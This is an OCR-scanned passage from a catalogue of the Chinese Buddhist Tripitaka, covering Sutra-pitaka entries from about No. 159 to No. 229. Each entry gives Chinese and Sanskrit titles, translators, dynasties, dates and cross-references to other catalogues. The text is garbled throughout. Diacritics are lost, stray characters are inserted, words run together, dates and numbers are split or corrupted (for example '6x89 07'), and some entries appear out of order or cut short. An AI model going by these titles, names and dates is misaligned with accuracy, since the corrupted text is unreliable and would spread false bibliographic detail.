Vaipulya-vyilhavivartita-dharmakakra stra. 'Avaivartya (?) - sutra.K'-yuen-lu, fasc. 2, fol. 20 b.Aparivartya-stra.Conc. 3 16. Translated by K'-yen and Po-yun, A. D.427, of the earlier Sun dynasty, A. D. 4207 479 . 4 fas-ciculi:The above two works are later translations of No. 150.K'-yuen-lu, fasc. 2, fol. 21-a.159Fn-kwn-t-kwn-yen-ki.'Vaipulya-mahvyuha-sutra. 'Lalitavistara.A. R. , p. 416 ; A. M. G. , p. 223 ; Conc. 147 ; Wassiljew,176. Translated by Divkara, A. D. 683 , of the Thandynasty, A. D. 618-9 07. 12 fasciculi ; 27 chatters. Thereis another title of this translation 'given as a note undertheabove title in the first fasciculus, viz. .)(. 4). Shan-thun-yiu-hhi(-kin), i, e. `Riddhivikr-dita(-stra). ' Cf. K'-yuen-lu, fast. 2, fol. 16 b; Conc.9 7. But Julien gives in his Mthode (p. . 3 3 ) a differentreading for the secdad character, viz, thun,. though,it is the same in pronunciation. ` This reading is givenin Eitel's Handbook of Chinese Buddhism, p. 61 a. Thetitle may literally be rendered into u Riddhi k u m r avikridita(-stra). ' The content, . ,qf this translatin' aregiven in Beal's Catalogue, pp. 17-19 . There is a pre- 'face by the Empress Wu Ts-thien, A. D. 684-705, ofthe Th dynasty, the same as that to No. 53 . Iu thispreface Divkara is said to have translated ten )torl,s,together with ten Chinese assistant,' whose unitedlabours were accomplished in A. D. 685.According to the K'-yuen-lu (fasc. 2, fol. 16 b), thistranslation agrees with the Tibetan. This Stra wastranslated into Chinese four times, but the- first andthird had already' been lost in A. D. 73 0, when theIKhi-yuen-lu was compiled. The seconds and fourthE51TTRA-PITAKA. . 52translations 'are in existence, viz. Nos. 16o and 159respectively. The two missing translations were bothentitled Phu-y io -kin, i, e. ` Sariianta-prabhisa-stra (I),' in eight fasciculi each. The firstwas translated under the Latter Hin dynasty, one ofth Three Kingdoms, A. D. 221-263 ; but the transla-tor's name is lost. The third was translated by K'-yentogether with Flo- yun, . of the earlier Sun dynasty,A, D. 420-479 . Khi-yuen-lu, fase. 14 a, fol. 13 . a. The,Sanskrit text has been edited by Rjendralla Mitrain the Bibliotheca Indica, Old Series, Nos, 51, 73 , 143 ,1 44) 145, and 23 7, Calcutta, 1853 -1877. This editionrequires a careful collation with MSS. ; for whichlatter, see Catalogue of the Hodgson Manuscripts, t7 ;III. J4, 15 ; IV. 7 ; VII. 3 7. There is another MS. ,numbered 3 41, in the India Office Library, London,which was procured in Nepal by Captain Knox, andpresented to the Library by T. Colebrooke, Esq. AnEnglish translation of the first few chapters by Rijen-dralla. Mitra in the Bibliotheca Indice. AFrenchtranslation of the Tibetan version of the Lalitavistaraby Foucault.
160 43 4Phu-$O-ki.' Samanta-prabhtsa-sutra;Lalitavistara.Translated by,Ku Fi-hu (Dharmaraksha), A. D. 3 08, ofthe Western Tsin dynasty, A. D. 265-3 16. 8 fasciculi;3 o chapters. According to the K'-ynen-lu (fasc . 2,fol. 16 b), this is ah earlier translation' of No. 159 .This authority gives another title as 'a note, viz.41Fn-tan-pan-klti-kin, i. e. `Vai-pulya-nidina-sutra. Cf. Conc. 151.417. This is a later translation of No. 16 a . K'-yuen-lu;Eh V.163Ku-f-pan-wlt-ki.Sarvadharma-pravritti-nirdesa -sutra.K' -yuen-lu, fasc. 2, fol. 26 a; Conc. 71 4 ; A. R. ,P. 452 ; A. M. . G. , p. 256. Translated by Giinagupta,A. D. 59 5, of the Sui dynasty, A. D. 589 -618. 3 fasciculi.164!TKu-f-wu-hhi-ki.Sarvadharma-pravri tti-nirdesa-sutra.Conc. 715. Translated by Kumragva, of the LatterTshin dynasty, A. D. 3 84-4r7. 2 fasciculi. This is anearlier translation of No. 163 . I('-yuen-lu, fasc. 2,fol. 26 a.165' l [44Kh'- zan-phu-sa -su-wan-ki.` Vasudhara-bodhisattva- pariprikkha-sutra. 'Translated- by Ku Fi-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-116. 4 fasciculi.166.Kh'-shi-ki.' Vasudhara-sutra. 'Translated by Kumragva, of the Latter . Tshindynasty, A. D. 3 84-417. . 4 fasciculi: This is also calledFyin-lori, i. e. ` Dharmain. udri-stra,'and it is a . later translation of No. 165. Deest rnTibetan. K'-yuen-lu, fasc. 2, fol. 22 b.161, r 044Tun - kan-tho-lo-su -wan-po-zu-1 d-sn-mi-ki. .` Drum-kinnara-parijwikkh-ratnatathagata- samadlii-sutra.'Mahclyuma-kinnararga-pariprikkh,.Cf. No, 1 62. Translated by K' Leu-ki-khin (Loka-raksha ), of the Eastern Ilia dynasty, . D. 25-226.3 fasciculi. It agrees with Tibetan. K'-yuen-lu, fasc. 2,fol. 1 9 b.1 62Mi ';+ . 1144 Ta-shu-kin-na-lo-w-su - wan- ki.MahMruma-kirinararja-pariprikkh:K'-yuen-lu, fasc. 2, fol. 19 . b; Conc. 59 7. Translatedby Kumragva, of the Latter Tshin dynasty, A. D. 3 841 67 . fYE VFo-shwo-0,-kwn-ti-shah-kheu-ki.' Buddhabhshita-mahabhi^ hekarddhidharant-sutra. '. .Translated by Poh Srmitra, of the Eastern Tsindynasty; A. D. 3 17-42o. 12 fasciculi. Each fasciculuscontains a Stra with its own title, so that this is a col-lection of twelve Stras. All these Stras except thelast are wanting in Tibetan. K'-yuen-lu, fasc. 2, fol.27 a seq.168 fLift411,41 01Fo-shwo-wan-shu-sh'- li-hhien-po-ts-kin.Buddhabfiashita-m aiigusr4-vibhvita- ratnapitaka-sutra.'Ratnakrandakavyha-sutra.K'-yuen-lu, fasc. 2, fol. 23 a; Conc. 802 ; A. R. ,p. 43 7; A. M. G. , p. 243 ; Wassiljew, 154. Translated5354.STRA-PITAKA.by Ku F-hu (Dharmaraksha), A. D. 27o, of the WesternTsin dynasty, A. D. 265--3 1 6. 2 fasciculi. It agrees withTibetan. ' K'-yuen-lu, s. v. For the Sanskrit text, seeCatalogue of the Hodgson Manuscripts, I. 24; III. 20,2 1 ; IV. i a ; VIL 3 1. ' The Sanskrit text has been'edited by Satyavrata Samasrami, at Calcutta, 1873 .n-h-169 jCkA Ta-fan-kw-po-klli-ki1i.' 12ahvaipulya-ratnakaranda-s{ttra. 'Ratnakrandakavyha-stra.Conc. . 6oi. Translated by, Gunabhadra, of the earlierSun dynasty, A. 420-479 : 2 fasciculi. This is alater translation of No. 168. K'-yuen-lu, fasc. 2, fol.23 a.170 11:3 :tu 1)k. 41Yo -sh' - zu-li -pan-yuen-kili . .' Bheshagyaguru-tathagata-pQ rvapranidhana-sAtra. 'Bheshagyaguru-prvapranidhna.Cf. - No. 171. Translated by Dharmagizpta ) A. D. 615,of the Sui dynasty. A. D. 589 -618. i faSciculus.171 Ofa fir)4):rR.,it gYo-sh'-liu-li- kw/AA-tiu- lai -pan -yuen-ku-th -1ci.` Bheshagyaguru-vaidttryaprabhas-tathagata-ptirv. apranidhana- -Bheshagyaguru-vaidryaprabhsa-prva- pranidhna.K'-yuen-lu,'fasc. 2, fol. 28 , a; Conc. 866. Translatedby Ilhen-kw (Hiouen-thsang), A. D. 65o, of the Thindynasty, A. D. 6i8-9 0 7, i fasciculus.172f ril it flYo-sh'- liu-li-kwM-tshi-fo-pan-yuen-ku-th-kin.`Bheshagyaguru-vaidryap,abh asa(-adi)-saptabuddha-purva-pranidhana-guna-sAtra,'-Saptatathgata-prvapranidhna-vis e ^ ha-vistara. ,K'-yuen-lu, fase. 2, fol. 28 b , ' Conc. 868 ; A. R',,,p. 508 ; A. M. G. , p. 3 09 . Translated by I=tsi, A. D.707, of the Thin dynasty, A. D. 618-9 o7. . 2 fasciculi,The above three works are later translations of thetwelfth Stra of No, 167, and they agree with Tibetan.K'-yuen-lu, s;y. -173
0"fli
NJ
le,Fn-tsz'-yo-sl1'-liu-1i-kwli-tshi-fo- .pan-yuen-klili-th-ki1i. _' Bheshagyaguru-vaidryaprabhsa(-adi)-saptabuddha-pQ rvaprani-dhna-guna-stra in the letters of . Fan (i. e. Tibet). '1 fasciculus. This seems to have been a copy of theTibetan version of the Stra, but it is considered tohave already been lst or Reft. out, at the 'time when thiswhole collection was pblished in China, towards theend of the Min dynasty, about A. D. 1600,. There is 'anote above this 'title in the original Catalogue, Ti-minsn- ts- shan- kio-mu-lu (fase. i, fol. 1 2 b), added mostprobably by the . Japanese editor, namely : ` In theChinese and Corcan editions of the Tripitaka, this bookis wanting. ' But it must be understood, that this bookwas originally included in the so-called Southern andNorthern Collections of the Chinese Tripitaka, publishedunder the reign of the first and third Emperors of . theMin dynasty, A. D. 1 3 68-13 9 8 and 1403 - 1424 respec-tively ; because there is mention of the mark- charactersof this book in the original Catalogue, as they havebeen employed in both Collections:.174 ^. :; a
-i'. gFo-shwo- -sh-shi-wli-ki.` Buddhabhashitgtasatru-raga-sfltra,'Agtasatru-kaukritya-vinodana,K'-yuen-lu, fase. 2, fol. 28 b; Conc. i; A. R. ; p. ,. 457;A. M. G. , p. 262. ' Translated by K' Leu-ki-kkn(Lokaraksha ?), of the Eastern IIn dynasty, 'A. D. 25 .220. * 2 fasciciili It agrees with Tibetan. X'-yuen=lu,fase. 2, fol. 29 a.175^ ^^Oti,.Lazi. -k^- -poh- to-lo-po-ki.Ladkavatra-ratna-stra:'Lalikvatra-stra.Cone. 3 26 ; A. R, p. 43 2 ; A. M. G. , p. 23 7; Wassiljew,151. Translated by Gunabhadra, A. D. 443 , of the earlierSun dynasty, A. D. 426-47'4. 4 fasciculi ; i chapter.There are two prefaces, by Tsiang K'- kid and Su Shi,of the later Suni. dynasty, A. D. 9 66-1127. . The dateof the latter preface corresponds to A. D. 1085.176M . */ 41Zu-lafi-kiLkid.Lakvatra-stra.Cone. 3 27. Translated by Bodhiruki, A. D. 513 , of theNorthern Wi dynasty, A. D. 3 86-53 4. jo fascimi; i8chapters,"E55 STRA-PITAKA.182-:Phu-kho-sn-mi-ki.' Samanttikramana (?)-samdhi-sutra. 'Agtasatru-kaukritya-vinodana.Conc. 4. 9 6. Translated by Ku Fi-hu (Dharmaraksha),A. D. 286, of the Western Tsin dynasty, A. D. 265-3 16.4 fasciculi. This ' is a later translation of No. 174.K'-yuen-lu, fasc. 2, fol. 29 a.561 773 1i l Vm ItttT-sha-zu-la-ki-ki1i.Lakvatra-sutra.K'-yuen-lu, fasc. 2, fol. 25 a ; Conc. 571. Translatedby Sikshnarida, . A. D. 700-704, of the Thi dynasty,A. D. 618-9 07. . 7 fasciculi ; 10 chapters. There is apreface added by. the Empress Wu Ts-thien, A. D.684-705, of the Thin dynasty.The above three works are . rsilnilar translations, andthey agree with Tibetan. K'-yuen-lu, s. v. But No. 17 5is incomplete. Nos. x76 and 177 agree more or lesswith the Sanskrit text. For the text, see Catalogue ofthe Hodgson Manuscripts, I. 5 ; III. 9 ; V. 20 ; VI. 6 ;VII. 3 6. There are also two MSS. in the UniversityLibrary, Cambridge.178Phu-s-hhi f-pien-ki-ki-shan-thu-pi. en-hw-ki.' Bodhisattvakaritopyavishayarddhivikriy-sfltra. 'Translated by Gunabhadra, of the earlier Suii dynasty,A. D. 420-479 . 3 fasciculi.1 79 *
Vt-s .
g11-s-k-ni-khien-tsz'- sheu- ki- ki.' Mahsatya (9 )-nirgrantha-putra-vykarana-sutra.Translated by Bodhiruki, A. D. 519 , of the NorthernW6i dynasty, A. D. 3 86-53 4. 10 fasciculi; 12 chapters.The above two works are similar translations, andwanting in Tibetan. K'-yuen-lu, fasc. 2, fol. 2 5 b.18olt l4 mgT-shart-pi-fan-tho-li-ki1.Mahkarunpundarika-stra.K'-yuen =lu, fasc. 2, fol. 1. 8 b ; Conc. 644, 645.Translated under the (three) Tshin (dynasties, A. D. 3 50-431 ); but the translator's name is lost. 8 fasciculi;3 0:chapters. This is a similar translation of No. 142.K'-yuen-lu, s. y.181 Shan-sz'- thu-tsz'- ki.' Sukintita (?)-kumra-sutra. 'Vimalakrtti-nirdesa.Cone. . 6o. Translated by a i nagupta,. A. D. 59 1, ofthe Sui dynasty, A. D. 589 -618. 2 fasciculi. This. is!i later translation of Nos. 144 and 1 45. .K'-yuen-lu, .fitsc. 2, fol. 18 b. 183Fan-poh-kin.Sutra on letting the bowl go,' or ' Ptra-gamayat-sutra (?). 'Agtasatru-kaukritya-vinodana.Cf. Conc. 149 , where a different reading is given forthe last word of the Sanskrit title. Translated underthe Western Tsin dynasty, A. D. 265-3 16; but thetranslator's name is lost. 1 fasciculus. This is a simi-lar translation of the second chapter of N. 182.184 fti iFo-shwo-t-tsi-f-man-phin-ki.' Buddhabhshita-mahsuddhadharmaparyydhy-sutra. 'Magusri-vikridita-stra.Conc. o58 ; A. R. , p. 425 ; A. M. G. , p. 23 0; Wassil-jew, 184. Translated by Ku FA-hu (Dharmaraksha),A. D. 3 1 3 , of the Western Tsin dynasty, A. D. 265-3 16.1 fasciculus.185 P 11-kw-yen-fa-man-kin.' Mahvyuhadharmaparyya-sutra. 'Magusri-vikridita-stra.K'- yuen-lu, fasc. 3 , fol. 1 b ; Conc. 654. Translated .by Narendrayasas, A. D. 583 , of the' Sui dynasty, A. D.589 (or 581)- 618. 2 fasciculi.The above two works are similar translations, and. they agree with Tibetan. K'- yuen-lu,'s. v.186R* )i '. 1:-TAtfirlititilFo-shwo-t-f-tan-t-y un-tshi-yii-ki.' Buddhabhshita-mahvaipulya-sfltra on asking rain of the greatcloud. 'Mahmegha-stra.A. R. , p. 461; A. M. G. , p. 265 ; Conc. 612. Trans-lated by Gnagupta, of the Sui dynasty, A. D. 589 -618. 1 fasciculus. It agrees with Tibetan. K'-yuen-lu,fasc. 2, fol. 26 a. . For the Sanskrit text, see Catalogueof the 'Hodgson Manuscripts, I. 64 ; ; M. 12. Anextract from the text with an English translation,published by Mr. C. Bengali, in the Journal of the. Royal Asiatic Society, vol. x,' part ii, pp. 288-3 11.r 7StTRA-PITAKA. 58187*ffiSutra on asking rain of the great cloud. 'Maharnegha-sAtra.Conc. -668. Translated by Ganagupta (the sameperson as before), under the Northern Ken dynasty,A. D. 557-581. i fasciculus.188 *firJ ffi VSutra on asking rain of the great-cloud-wheel. 'Mahkmeglia-stara.Conc. 667. Translated by ,Narendrayasas, A. D. 585,of the Sui dynasty, A. D. 589 (or 581)-618. 2 fasciculi.The above two works are similar translations of No.186. K'-yuen-lu, fasc. 2, fol, 26\ a. An abstractEnglish translation of No. 188, by Beal in his Catena ofBuddhist Scriptures from the Chinese, pp. 419 -423 .189 )14w KuShaft-sz'- wgi-fn-thien-su-wan-kift.Viseshakinta-brahma-pariprikkha(-Biltra).K'-yuen-lu, fasc. 2, fol, 22 a; Conc. io. Translatedby Bnahiruki, A. D. 517, of the Northern W6i. dynasty,A. D. 3 86-53 4. 6 fasciculi. It agrees with Tibetan.K' -yuen-lu, s. v.19 0Viseshakinta-brahma-pariprikka(-sticra).Conc. 551. Translated by Kumaragiva, A. D. 402,of the Latter Tshin dynasty, A. D. 3 84-417. 4 fasciculi;24 chapters. This is an earlier translation of thepreceding 86. tra. K'-yuen-lu, fasc. 2, fol. 22 a.1 91 ICR' Kan dra-clipa-samAdhi-siltik. 'Translated by Narendrayasas, A. D. 557, of the Nor-thern Tshi dynasty, A. D. 550-577. II fasciculi. Deestin Tibetan. K'-yuen-lu, fa-sc. 3 , fol, I a.19 2 The same as No. 19 1.Translated by Shih Sien-ku, of the earlier Sundynasty, A. D. 420-479 . i fasciculus. , This is an earliertranslation of the seventh and eighth fasciculi of thepreceding Satra.1 93, 1!J1 ' t Buddhabhashita-hastikakshya-stitra. 'HastikAshyi.K'-yuen-lu, fasc. 3 , fol. i b; Conc. 523 ; A. R. ,p. 456; A. M. G. , p. 261. Translated by Dharmamitra,of the earlier Sufi dynasty, A. D. 420-479 . i fasciculus.It agrees with Tibetan. K'-yuen-lu, ,fasc. 3 , fol. b.1 94Fo-shwo-wu-su-hhi-wan-kin.Sutra spoken by Buddha on the absence of hope. 'Hastikakshyh',.Translated, by Ku F-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. I fasciculus.,This is an earlier translation of the preceding Ware,.K'-yuen-lu, fan. 3 , fol. i b.19 5it 41Fo-shwo-a-shail-thuft-siA-kift,MahayAnbhisamaya-s-htra.K'-yuen-lu, fasc. 2, fol. 23 a; Conc. 59 5. Translatedby Gnayasas, together with San-An, A. D. 57o, of theNorthern Keu dynasty, A. D. 557-581. 2 fasciculi. Itagrees with Tibetan. K'-yuen-lu, s. v.19 6ItAOg Fo-shwo-kaA-khi-ta-shail-kin.Mahilyanahisamaya-s-htra.Conc. 69 5. Translated by Divalara, A. D. 68o, of theThan, dynasty, A. D. 618-9 07. 2 fasciculi. This is a latertranslation of the preceding Siitra. K'-yuen-lu, fasc.2, fol. 23 b. There is a preface, 'by the Empress WuTs-thien, A. D. 684-705, of the Than dynasty. Thispreface is the same as that to Nos, 53 and 159 .19 7Jell\ nFfi rtuViseshakinta-brahma-pariprikkh, (-shtra).Conc. 69 1. Translated by Ku loa-hi (Dharmaraksha),A. D. 286,. of the Western Tsin dynasty, A. D. 165-3 16.4 fasciculi ; 18 chapters. This is an earlier translationof Nos. 189 and 19 0. K'-yuen-lu, fasc. 2, fol. 22 a.Fo-shwo-k wh'it-wueu -fo.Buddhabh6,shitAmitAyurbuddha-dhytkna (?)-stara. 'Translated by Klayasas, A. D. 424, of the' earlierSun dynasty, A. D. 420-479 . i fasciculus. There wasanother translation of this Satra, made by Dharmamitra,of the same dynasty; but it was lost already in A. D. 73 0.Khai-yuen--lu, fasc. 14 a, fol. 1 7 b. This Sutra may becalled the Sukhavativyfiha, according to its contents.But Conc. I and 83 o are bah very doubtful, if notwrong.19 8. :"Fri1 159STRA-PITAKA.60There are verses prefixed to No. 19 8, which verses consist of sixty lines, each line consisting , of seven Chinesecharacters. The title of these verses is11:p p'L.^, a Y-k -wu-lian-sheu-fo-tsan, i, e.Hymn of Buddha Amityus, being the Imperial compo-sition. ' This composition entirely depends on No. 19 8 ;but the Emperor's name is not mentioned.19 9 M fig i I g Q . :egKh an-tsn-tsi-tu-fo-sh-sheu-ki.Sutra of the Favour of (all) Buddhas and the Praise of the PureLand. 'Sukhvativyha.A. R. , p. 43 7; A. M. G. , p. 2 43 ; Cone. 69 9 , 700,.702, which three are different titles of this translation.See K'-yuen-lu, fasc. 3 , fol. 2 b. Translated by Hhen-kw ii (Hiouen-thsang), A. D. 650, of the Thn dynasty,A. D. 618-9 07. I I. leaves. It agrees with Tibetan. K'-yuen-lu, s. v.20010 aftFo-shwo--mi-tho-ki.` Buddhabhshitmityus-stra. 'Sukhvatyamritavyha-sutra.K'-yuen-lu, fasc. 2, fol. 2 b.Sukhavatvyha.Translated by Kumragv, A. D. 402, of the LatterTshin dynasty, A. D. 3 84-41 7 . 5 leaves. This is an earlier(and shorter) translation of the preceding Stra. K'yuen-lu, s. v. But this shorter translation corresponds,with a few omissions, to the Sanskrit text, which,together with an English translation and notes, hasbeen published by Professor Max Mller, in J. R. A. S. ,vol. xii, part ii, 188o, pp. 168-186, and afterwards inhis Selected Essays, vol. ii, pp. 3 48-3 63 , without the_text. An incomplete English translation of No. 200,by Rev. S. Beal, is given in his Catena of BuddhistScriptures from the Chinese,. pp. 3 78- 3 83 . AFrenchtranslation, by MM. Ymazonmi and Yawata, with theSanskrit text, was published in the Annales du MuseGuimet, vol. ii (1881), pp. 3 9 -64.There was another Chinese translation of this shortSukhvativyha, made by Gunabhadra, of the earlierSun dynasty, A. D. 420-479 . But it was lost alreadyin A. D. 73 0. Khki-yuen-lu, fasc. 14 a, fol. 17 b.201 -- i` ^ c^ l f Pa-yi-tshi-yeh-kn-kan-pan-th-shaft-tsi-tu-chan-kheu.Aspiritual Dhrant for uprooting all the obstacles of Karma andfor causing one to be born in the Pure Land (Sukhvati). 'Translated by Gunabhadra, A. D. 453 , of the earlierSun dynasty, A. D. 420-479 . This Dhran consists offifty-nine Chinese characters in transliteration, and itis followed by about two columns of explanation.-ft. 202PoJHeu-khu--mi-tho-ki-ki.Alater translation of the Stra consisting of verses on Amityus. 'Translated under the Eastern Han dynasty, A. D. 252 20 ; but the translator's name is lost. 56 lines, eachline consists of five characters. There was an earliertranslation, but it was lost already in A. D. 73 0. Khai-yuen-lu, fast. 14 a, fol. 17 b.203 ^^'T--mi-tho-ki.`Alarge Amityus-sfltra. 'Compiled by -Mai Zih-hhiu, in A. D. 1 1 6o-1162, ofthe Southern Sun dynasty, A, D. I I27-1280. 2 fasciculi;56 chapters. This work ought to be arranged under theheading of Chinese Works, in the Fourth Division ofthe Chinese Tripitaka; because it is not a translationmade from the original text, but consists of extractsfrom four translations of the same or a similar text,viz. Nos. 25, 26, 27, and 863 . Moreover the com-piler made this, without comparing those versions withthe Sanskrit text, simply from his own _ judgment,through the spiritual help of Avalokitesvara, for whichhe had always prayed in the course of his compilation.See his preface. It is curious that he does notmention Bodhiruki's translation of the same Stra (No.23 . 5), which was made more-than four centuries before,and is niuch better at least than No. 863 , both in con-tents and composition. At any rate, No. 203 has nosuch value as Nos. 13 0 and 1 3 9 , which were made bymen who had the Sanskrit texts before , them, and whoalso made some additions and corrections.204 -f0IS- o-thien-ki.' Shitra spoken by Bddha hbout the meditation on the BodhisattvaMaitreya's going up to be born in the Tushita heaven. 'Translated by Tsii-Mil Kin-shah, A. D. 455, of the earlierSun dynasty, A. D. 420-479 . 9 leaves. This i^ arrangedhere, though it is a single translation, because', the sub-.ject has some connection with that of the following fiveworks. K'-Yuen-lu, fa^ c. 3 , fol. 3 a.^^. 1X461STRA-PITAKA.205 VD Fo-shwo-mi-1-hhi-sha-kin. .' Sara spoken by Buddha on Maitreya's coming down to be born(in this world). 'Maitreya-vykarana.A. R, p. 480 ; A. M. G. , p. 283 . Translated by Ku-mra9 tva, of the Latter Tshin dynasty, A. D. 3 84-417.8 leaves.206piFo-shwo-mi-l-li-sh'- kin.Sutra spoken by Buddha on the time of Maitreya's coming (downto be born in this world). 'Maitreya-vykarana.See No. 205. Translated under the Eastern Tsindynasty, A. D. 3 17-420; but the translator's name islost. 3 leaves.207 T. : ' `^> iFo-shwo-mi-l-hhi-sha-kha-fo-kin.Sara spoken by Buddha on Maitreya's coming down to be born(in this world) and to become Buddha. 'Ma. treya-vykarana.See No. 205. Translated by I-tsi, A. D. 701, of theThii dynasty, A. D. 618-9 07. 4 leaves.The above three works are the fourth, third, andsixth respectively of six translations of the same or asimilar text; while the first, second, and fifth werelost already in A. D. 73 0. Khi-yuen-lu, ,fasc. 14 a, fol.18 a ; K'-yuen-lu, fasc. 3 , fol. 3 a, where it -is statedthat, this Stra is wanting in Tibetan. See, however,the authorities mentioned under No. 205.-`r 208^i , '`^^8 * Fo-shwo-kw-mi-l-phu-s-hhi-shah-kin.` Stara spoken by Buddha about the meditation on the BodhisattvaMaitreya's coming down to be born (in this world).Translated by Ku FA-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 9 leaves. Thisis a single translation, but it is arranged here onaccount of the subject being similar to the precedingthree works.209 . r ^`')7^G^'0Fo-shw-mi-1-khan-fo-kin.` Stttra spoken by Buddha on Maitreya's becoming Buddha. 'Translated by Kumraglva, A. D. 402, of the LatterTshin dynasty, A. D. 3 84-417. I fasciculus. There was anearlier translation; but it was lost'already in A. D. 73 0.Khai-yuen-lu, fasc. 14 a, fol. 18 a.21 020-JiFo-shwo-ti-yi-i-f-ahan-kin.Sutra spoken by Buddha on the excelling of the law of the first(or highest). meaning. 'Paramrthadharmavigaya-stra.K'-yuen -1u, fasc. 3 ,. fob 3 b; Cone. 741 ; A. R,p. 464 ; A. N. G. , p. 268. Translated by GautamaPragruki, A: D. 542, of the Eastern Wei dynasty, A. D.53 4-55o. i fasciculub.211 frItAltikgFo-shwo-tft-wi-tan-kwn-sien-zan-wan-i-kin.Sutra spoken by Buddha on the question of doubt asked by theRishi Great-powerful-lamp-light. 'Paramrthadharmavigaya-stra.Conc. 66r. Translated by Gnagupta, A. D. 586, ofthe Sui dynasty, A. D. 589 (or 581)-618. ' 1 fasciculus.The above two works are similar translations, andthey agree with Tibetan. K'- yuen-lu, fasc. 3 , fol. 4 a.212Yi-tshi-f-ko-wan-Tcin.`Sarvadharmokkardga-sutra. 'Translated by Gautama Pragfi r. uki, A. D. 542, of theEastern Wi dynasty, A. D. 53 4-550. I fasciculus.21 3 S R Z A IFo-shwo-ku-fa-yun-wan-kin.B uddhabhshita-sarvadharm a-nirbhayarga-sfltra. 'Translated by Dharmamitra, of the 'earlier Sundynasty, A. D. 420-47 9 . I fasciculus.The above' two works are similar translations, andare wanting in Tibetan. K'-yuen-hi, fasc. 3 , fol. 3 b.21 4Shun-khiien-fn-piep-kin.` U$yakausalya-stra. 'Strvivarta-vykarana-stra.K'-yun-lu, fast. 3 , fol. 4 a; Conc. 124; A, R. ,P. 454; A M G. , p. 258. Translated _by Ku II-hu(Dharmaraksha), of the Western Tsin dynasty, A. D.265 3 16. 2 faseiculi ; 4 chapters.215 '' fFo-shwo-l-yin-10-kwn-yenfn-piers-kin.Stara spoken by Buddha on the means of adornment of a necklaceof happiness (?). 'Strvivart a-vykarana-str_a.Cone. 3 29 . Translated by Dharmyasas, of theLatter Tshin dynasty, A. D. 3 84-417. I fasciculus.The above two works are similar translations, andthey agree with Tibetan. ' K'-Yuen-lu, fan. 3 , fol. 4 a.63 StTTRA-PITAKA. 64216TPhu7sA-shan-tsz'- kin.'Stara on the Bodhisattva who was the son who took a look at(his blind father). 'Translated under the Western Tsin dynasty, A. D.265--3 16;. but the translator's name is lost. 7 leaves.21 701 1 Elitnik T. 41Fo-shwo-shAn-tsi- kin.' Sara spoken by Buddha on the son who took a look at (his blindfather):Translated by Shankin, of the Western Tshindynasty, A, p. 3 85-43 1. 7 leaves.The above two works are later translations of a partof fasc. 2 of No. 143 , being a Otaka, concerning theDna-paraMita. K'-yuen-lu, fasc. j, fol. 5 a.Fo-shwo-kiu-seh-lu-kin.Sfltia spoken by Buddha on the nine-coloured deer. 'Translated by Khien, of the Wu dynasty, A. D.222-280. 3 leaves. This is a similar translation of apart of fabc. 6 of No. 143 , being a Otaka, concrningthe Virya-paramita. K'-yuen-lu, fasc. 3 , fol. 5 a.21 9 }t'(Pt 41Fo-shwo-thi-tsz'- mu-phoh -kin.Buddhabhashita-kunatra-maka-stitra. 'Translated by Ku 1I-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 4 leaves.K-yuen-lu, fasc. 3 , fol. 5 b; Cone. 584. Translatedby Divkara, A. D. 683 , of the Than dynasty, A. D. 6x89 07. 5 leaves.223 ,kEA02,14P9Ta-shan-pien-kao-kwan-min-tsitti-wu-tsz'-fa-man-kin.MahilyAna-vairokanagarbhnakshara-dharmaparylya-stitra. 'Anakshara-granthaka-rokanagarbha-stitra.Conc. 584. Translated by Divkara, of the Thandynasty, A. D. 618-9 07. 7 leaves.The above three works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 3 , fol. 5 b.224 SAtIcAVIFo-shwo-B,Lnii-zan-kin.'Sara spoken by Buddha at (the request of) an old woman. 'Translated by K' Khien, of the Wu dynasty, A. D.2 22-,-2 80. 2 leaves.225VDZA.116-shwo-lo-mu-kin.Stara spoken by Buddha at (the request of) an old mother. 'Translated under the earlier Sun dynasty, A. D. 420479 ; but the translator's name is lost. 3 leaves.. ft -FT421 8Irkinh%2262201 1 1 . nThai-tsz'- mu-phoh-kin.KurnAra-mAka-satra. 'Translated by In Shi-kao, of the Eastern Handynasty, A. D. 25-220. 6 leaves.The above two works are similar translations of apart of fasc. 4 of No. 143 , being the Gataka of the dumbboy, concerning the Sila-paramita. K'-yuen-lu, fasc. 3 ,fol. 5 a.Wu-tsz'-Anakshara-ratnakftrandaka-s4tra. 'Anakshara-granthaka-rokanagarbha-sAtra.Conc. 849 . Translated byBodhiruki, of the NorthernWi dynasty, A. D. 3 86-53 4. 7 leaves.222 *
fi I
-71 3 1. 1tivig41phu-kwan-min- wan-kin. Mahtlyananakshara-samantarokanagarbha-satra. 'An_akshara-grimthakarrokanagarbha-s-Citra.Sutra spoken by Buddha at (the request of) an old mother calledSix-flowers (Shatpushpa ?). 'Translated by Gunabhadra, of the earlier Sun dynasty,A. D. 420-479 , I leaf.The above three works are similar translations, andare wanting in Tibetan. K'-yuen-lu, fasc. 3 , fol. 6 a.227 f. ;. nSI 4Fo-shwo-khO-k-tsz'-Sara spoken by Buddha on the son of an elder (Sreshthin)K' (or Geta ?). 'Translated by In Shi-ko, of the Eastern Handyhasty, A, D. 25-220. 5 leaves.228Fo-shwo-phu-sa-shi-kin. ,Sara spoken by Buddha on the Bodhisattva Shi (or Geta?).'Translated by Po F-tsu, of the Western Tsin dynasty,A. D. 265-3 16. 4 leaves. 221
7177 23 865S TRA-PITAKA. 663nr,.3!;e_ . 6w229
